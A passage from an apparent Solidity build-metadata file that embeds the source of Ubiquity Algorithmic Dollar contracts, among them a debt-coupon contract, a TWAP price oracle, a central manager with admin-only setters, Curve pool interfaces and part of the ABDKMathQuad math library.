expiryBlockNumber the expiration block number of the coupons to burn\\n function burnCoupons(\\n address couponOwner,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n require(\\n balanceOf(couponOwner, expiryBlockNumber) >= amount,\\n \\\"Coupon owner not enough coupons\\\"\\n );\\n _burn(couponOwner, expiryBlockNumber, amount);\\n emit BurnedCoupons(couponOwner, expiryBlockNumber, amount);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] -\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt - (amount);\\n }\\n\\n /// @notice Should be called prior to any state changing functions.\\n // Updates debt according to current block number\\n function updateTotalDebt() public {\\n bool reachedEndOfExpiredKeys = false;\\n uint256 currentBlockNumber = _sortedBlockNumbers.popFront();\\n\\n //if list is empty, currentBlockNumber will be 0\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n //put the key back in since we popped, and end loop\\n _sortedBlockNumbers.pushFront(currentBlockNumber);\\n reachedEndOfExpiredKeys = true;\\n } else {\\n //update tally and remove key from blocks and map\\n _totalOutstandingDebt =\\n _totalOutstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n delete _tokenSupplies[currentBlockNumber];\\n _sortedBlockNumbers.remove(currentBlockNumber);\\n }\\n currentBlockNumber = _sortedBlockNumbers.popFront();\\n }\\n }\\n\\n /// @notice Returns outstanding debt by fetching current tally and removing any expired debt\\n function getTotalOutstandingDebt() public view returns (uint256) {\\n uint256 outstandingDebt = _totalOutstandingDebt;\\n bool reachedEndOfExpiredKeys = false;\\n (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0);\\n\\n while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) {\\n if (currentBlockNumber > block.number) {\\n reachedEndOfExpiredKeys = true;\\n } else {\\n outstandingDebt =\\n outstandingDebt -\\n (_tokenSupplies[currentBlockNumber]);\\n }\\n (, currentBlockNumber) = _sortedBlockNumbers.getNextNode(\\n currentBlockNumber\\n );\\n }\\n\\n return outstandingDebt;\\n }\\n}\\n\",\"keccak256\":\"0xf26a64cbe54ced5ffe6052c0b2ee2505106a1ad28700d4831a16eb3627e8a051\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICouponsForDollarsCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A mechanism for calculating coupons received for a dollar amount burnt\\ninterface ICouponsForDollarsCalculator {\\n function getCouponAmount(uint256 dollarsToBurn)\\n external\\n view\\n returns (uint256);\\n}\\n\",\"keccak256\":\"0x8e8ddcc24dd13ae057f856afabd2088ee4c333d9cb88d1806f7c5bf84879954d\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result =\\n (uint256(uint128(x)) & 